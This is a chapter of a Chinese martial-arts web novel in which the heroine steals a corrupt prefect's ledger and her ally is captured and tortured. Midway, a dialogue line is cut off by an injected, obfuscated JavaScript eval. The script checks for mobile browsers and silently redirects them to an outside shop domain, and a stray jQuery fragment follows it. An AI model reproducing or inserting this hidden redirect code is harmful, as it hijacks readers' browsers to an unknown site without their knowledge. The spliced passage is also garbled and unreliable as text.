夜已深,楼双燕躺在床上翻来覆去,枕头下边压了封信,是她准备明天交给李娘子的,里面有来日出事时留给她保命的法子。
行动计划基本敲定,就等着明天的端午宴,不知怎的楼双燕总是有点不安,她叹了口气,“希望明天可以顺顺利利的。”
“姐姐,我来跟你告辞了。”端午午后,楼双燕拉住李娘子的手,趁机把信塞给她,在她耳边低声说道:“来日生乱,姐姐就把信打开,不要再让第二个人知晓。”
李娘子心里疑惑,却还是点头,“保重。一路顺风。”
根据计划,郑康在外边隐蔽处接应,此时楼双燕该去与柳云汇合,趁宴会期间混入书房,夺取梁刺史与黑风寨勾连的证据。
楼双燕先从南门出去,制造她已经离开的假象,再换了身衣裳,扮成男子偷偷绕回西门。
“不对。”楼双燕听见院子里脚步声比平常密集得多,她立刻打起十二分精神,隐匿起来。
“把他抓了。”是梁刺史的声音,“丢进刑房。”
柳云拼命磕头求饶,“冤枉啊老爷,我不知道你在说什么!”
声音越来越小,最先消失的是说话声,最后便是脚步声。
“坏了。”楼双燕心头一颤,她深呼吸,试图让自己冷静下来。昨日柳云已经把信传回全州,张刺史已经做好准备,今日的行动不能不继续。
万事具备,只差这一条证据就可以扳倒梁刺史这个奸人。为了平顺,为了何庄,为了这些年来因黑风寨和梁刺史而丧命的人,楼双燕必须行动。
“抱歉柳大哥,我会回来找你的。”楼双燕在心里默念。柳云帮了她不少,这是她欠他的。
“再从西门进是不行了。”本来她可以借着柳云的身份混入,现在是不行了,必须另寻他法。
酉时已至,客人纷纷而至,梁府外边车水马龙。
侧门处梁府从外边请来的佣工帮厨已经忙的不可开交。
楼双燕眼珠子一转,一条妙计横生。
“要你们来做什么的,一个二个动作这么慢。”楼双燕此时已经换回女装,摆足架势,在门口呵斥着搬运器乐的小工。
“还愣着做什么,主人家都等急了。”听了这话,一群小工唯唯诺诺,连连称是,急忙把东西搬进门。
楼双燕借此机会,跟着他们再入梁府。
一路上她随机应变,改变装扮,满府上下都被她遮瞒了去。
宴会已经开始,隔着院墙楼双燕都能听见里边锣鼓喧天,闻见里面的美味佳肴的香气。
她根据记忆,一路走到书房附近。
“你是做什么的,竟然敢在这里偷懒。”往来脚步声密集,等楼双燕听到身后人的斥责,她已经来不及躲开。
“奴婢头一回来这,一时间竟迷了路,嬷嬷息怒。”楼双燕转身低头道歉。
“你是哪一处的?”嬷嬷呵斥着。
“我是厨房的,有位贵人身体不适,让我领她去茅房。可我也是头一回到梁府,送她回去后,我再也找不到回厨房的路了。”楼双燕解释着,她对这位嬷嬷有些印象,是专管杯盘的。
“厨房在那边。”嬷嬷指路,“还不快去,耽误了事情有你好看的。”
楼双燕连忙往那边去,却不忘手下功夫,折了根短枝,趁嬷嬷不注意,悄悄朝她射去。
“哎呦。”嬷嬷揉了揉胳膊,“什么东西砸了我。”
楼双燕挑眉一笑,心说:“让你骂我。”便加快步伐,往前边走。
等嬷嬷彻底离开,她又悄悄折回来,这次她不敢再拖延,运起轻功,身形灵动飘逸,一下便掠过路旁草木,却不惊落半片叶子。
她跃入书房,按上次的方法,把书柜后的密室打开。
这是柳云为她抢来的时间,她必须要快。
楼双燕一目十行,拼命翻找着那些书册,汗水渐渐渗出,她身上已经蒙了一层汗。
“找到了。”楼双燕惊喜道,声音却极低,生怕有人发现,“黑风寨账册。”楼双燕简单翻阅,确定无误后就把账册塞入怀中。
她将书房摆设仔细复原,趁四下无人,纵身一跃,飞身出府。
郑康一眼就看见了楼双燕,他忙上前把她拉到僻静处,“柳大哥呢?”
“被抓了,没时间了,我们快回全州。”楼双燕摇摇头,急忙说道。
马寄存在附近一家茶馆,两人迅速过去取,夕阳已西下,要趁城门落锁前出去。
“出来了。”楼双燕轻声说道,两人一路疾驰狂奔,终于赶上了。可是还没到放松的时候,柳云还在梁刺史手上,等把证据送回去,她还要返回去救他。
“你要是累了,可以回何庄歇一会,我把证据带回全州,交给张刺史就行。”郑康看楼双燕心神不宁,怕她撑不住。
“不用了。”楼双燕果断摇头,“这些事情我必须当面和张刺史交代。快走吧,越快越好。”话音未落,楼双燕已经夹紧马肚,策马疾驰。
两人星夜奔驰,夜半时分终于赶到全州。张刺史已在城门前搭营等候。
“张刺史。”楼双燕跳下马,往帐中跑去,“证据已经到手。”
“好,快给我。”张刺史本还撑着头小寐,一听见动静就立马起身。他接过来账本翻阅着,“不错,有了这些足以把那姓梁的老匹夫告倒。”他大笑着。和梁刺史斗了这么久,终于是他胜了。
“可柳云大哥被梁刺史抓了。”楼双燕很是着急,她期待着张刺史会立马派人去搜救。
“无妨。”张刺史却摇摇头,“证据已经到手了。”
“可柳大哥……”楼双燕像是被浇了一盆冷水,“他怎么办?”她拼命摇头,又拍了拍自己的脸,试图让自已冷静。
“到时我会安置好他的家人。”楼双燕听到这句话,全身血液都被冻结了。
“可柳大哥只是被抓了去,他还没死。”楼双燕哀求着,“您派人去救他吧。”
“那个老
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738104|208619||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
匹夫心狠手辣,落在他手上的人都没有好下场。更何况我们衙门人手不足,再派人去救,也是白花心思,若是又伤了几个弟兄,那岂不是更糟糕?”张刺史坐回他的位置,“我明日就去见府尹上报明州府与黑风寨勾结一案,将来论功行赏有你的一份,你下去吧。”
“那我自己去找柳大哥。”楼双燕立马站起来。
“你要去,我不拦你。”张刺史继续说道,“你要是能救他出来,也算是好事一桩。”他从怀里掏出一锭银子,“这些就算是柳云的医药费。”
楼双燕有些看不懂张刺史了,说他冷心冷肺,只在乎自身利益,可他又愿意给柳云出钱看病。说他在意柳云,可他又不愿意带人去救他。
“你之前答应放过梁府里的李娘子,这话算数吗?”楼双燕心系李娘子的安危,想拿个保障。
张刺史只在意扳倒政敌,并不在意什么李娘子、韩娘子的。“当然算,本官从不做无用的事。”此时与楼双燕闹掰也对他没有什么好处,不如做个顺水人情。
“那就行了,多谢张刺史。”楼双燕微微行礼。
“郑康。”她迈出营帐,“我们回明州去。”
习武之人耳力过人,郑康已经知悉帐内发生的事,“好,我会一直跟着你的。”
两人来回奔波,没有休息过一分一秒,等到了明州城外,天还没亮。
“城门还没开。我们先找个地方歇一会,等天亮了再进去。”郑康说道。
“好。”楼双燕点头,她的确很累了,随意找了棵大树,跃上去躺在枝干上,就昏昏睡了。
一旁的郑康打点好马匹行囊,取了件衣服盖在楼双燕身上,才准备休息。
“啊。”柳云嘶吼着,哈出寒气,“我只是个车夫,并不知道你们问得那些。放过我吧。”
他遍体鳞伤,满身是血,却始终不肯松口。楼双燕与郑康是他并肩的同伴,张刺史对他有知遇之恩,他绝不能将他们出卖。
行刑者打的手都软了,将手甩了甩,手中的鞭子拍在地上啪啪作响,“你还敢嘴硬!”
“怎么样了?”梁刺史披着披风迈入刑房,“问出他背后之人是谁,偷了什么东西了吗?”
梁刺史心存疑惑,抓捕柳云后,他立马命人把紧要处都搜了一遍,而楼双燕潜入的时间正好在他搜查后,是以他并没有发现什么异常。
“大人,他始终不肯说。”行刑者拱手行礼。
“难道真是抓错人了?”梁刺史琢磨着,可那又如何,进了刑房的囚犯从来只有横着出去的,若他真是无辜,也只能算他倒霉。
“继续审。”梁刺史留下这三个字,又离开了。
“要把府上紧要处再仔细检查一番。”他突然想到了一种可能,“若是还有小贼没有落网呢,趁宴会时动手呢?”
梁刺史一甩袖子,加快了上去的步伐,离柳云的哀嚎越发遥远,就算书房暗格机关精巧,可他却还是不放心,一定要再检查一次。